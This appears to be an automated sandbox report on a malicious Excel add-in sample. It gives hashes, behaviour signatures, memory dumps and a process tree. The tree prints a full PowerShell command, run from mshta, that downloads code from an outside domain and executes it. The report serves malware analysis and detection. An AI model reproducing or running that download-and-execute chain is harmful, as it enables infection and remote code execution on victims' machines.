Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 21:44

General

  • Target

    c8e254f7ea199b0e86278bfbe0e6f8ea107031d7503a04e21ca29918a2502ffb.xll

  • Size

    12KB

  • MD5

    cbc99f197fd36b22994012714799e4d9

  • SHA1

    fd280d3c557ab3af725da54f107e013969dc6848

  • SHA256

    c8e254f7ea199b0e86278bfbe0e6f8ea107031d7503a04e21ca29918a2502ffb

  • SHA512

    7eb45a7fdd2fc7386cf681e650f82a757e4d597b48c038152e2dce1d7b9e9be5f56fe9d1483bfd1c43156c3ee70eae61ff60bcd2edc200e6870c312170d80c53

  • SSDEEP

    192:IL29RBzDzeobchBj8JONSONPruKrEPEjr7AhJ:G29jnbcvYJOP5uKvr7CJ

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c8e254f7ea199b0e86278bfbe0e6f8ea107031d7503a04e21ca29918a2502ffb.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3732
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4980
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2264

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\PRZ6L9YH\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nbxpvkwq.ql4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\c8e254f7ea199b0e86278bfbe0e6f8ea107031d7503a04e21ca29918a2502ffb.xll

    Filesize

    12KB

    MD5

    cbc99f197fd36b22994012714799e4d9

    SHA1

    fd280d3c557ab3af725da54f107e013969dc6848

    SHA256

    c8e254f7ea199b0e86278bfbe0e6f8ea107031d7503a04e21ca29918a2502ffb

    SHA512

    7eb45a7fdd2fc7386cf681e650f82a757e4d597b48c038152e2dce1d7b9e9be5f56fe9d1483bfd1c43156c3ee70eae61ff60bcd2edc200e6870c312170d80c53

  • memory/2264-56-0x00000000060E0000-0x000000000612C000-memory.dmp

    Filesize

    304KB

  • memory/2264-43-0x00000000051D0000-0x00000000051F2000-memory.dmp

    Filesize

    136KB

  • memory/2264-41-0x0000000002BA0000-0x0000000002BD6000-memory.dmp

    Filesize

    216KB

  • memory/2264-58-0x0000000006540000-0x000000000655A000-memory.dmp

    Filesize

    104KB

  • memory/2264-57-0x0000000007770000-0x0000000007DEA000-memory.dmp

    Filesize

    6.5MB

  • memory/2264-55-0x0000000006050000-0x000000000606E000-memory.dmp

    Filesize

    120KB

  • memory/2264-54-0x0000000005B60000-0x0000000005EB7000-memory.dmp

    Filesize

    3.3MB

  • memory/2264-44-0x0000000005A80000-0x0000000005AE6000-memory.dmp

    Filesize

    408KB

  • memory/2264-45-0x0000000005AF0000-0x0000000005B56000-memory.dmp

    Filesize

    408KB

  • memory/2264-42-0x0000000005350000-0x000000000597A000-memory.dmp

    Filesize

    6.2MB

  • memory/3732-17-0x00007FFAC2E10000-0x00007FFAC2E20000-memory.dmp

    Filesize

    64KB

  • memory/3732-11-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-19-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-18-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-3-0x00007FFAC58F0000-0x00007FFAC5900000-memory.dmp

    Filesize

    64KB

  • memory/3732-0-0x00007FFAC58F0000-0x00007FFAC5900000-memory.dmp

    Filesize

    64KB

  • memory/3732-2-0x00007FFAC58F0000-0x00007FFAC5900000-memory.dmp

    Filesize

    64KB

  • memory/3732-8-0x00007FFAC58F0000-0x00007FFAC5900000-memory.dmp

    Filesize

    64KB

  • memory/3732-14-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-84-0x00007FFAC58F0000-0x00007FFAC5900000-memory.dmp

    Filesize

    64KB

  • memory/3732-10-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-6-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-9-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-4-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-5-0x00007FFAC58F0000-0x00007FFAC5900000-memory.dmp

    Filesize

    64KB

  • memory/3732-16-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-15-0x00007FFAC2E10000-0x00007FFAC2E20000-memory.dmp

    Filesize

    64KB

  • memory/3732-1-0x00007FFB05903000-0x00007FFB05904000-memory.dmp

    Filesize

    4KB

  • memory/3732-12-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-7-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-65-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-66-0x00007FFB05903000-0x00007FFB05904000-memory.dmp

    Filesize

    4KB

  • memory/3732-82-0x00007FFAC58F0000-0x00007FFAC5900000-memory.dmp

    Filesize

    64KB

  • memory/3732-83-0x00007FFAC58F0000-0x00007FFAC5900000-memory.dmp

    Filesize

    64KB

  • memory/3732-85-0x00007FFAC58F0000-0x00007FFAC5900000-memory.dmp

    Filesize

    64KB

  • memory/3732-13-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB

  • memory/3732-86-0x00007FFB05860000-0x00007FFB05A69000-memory.dmp

    Filesize

    2.0MB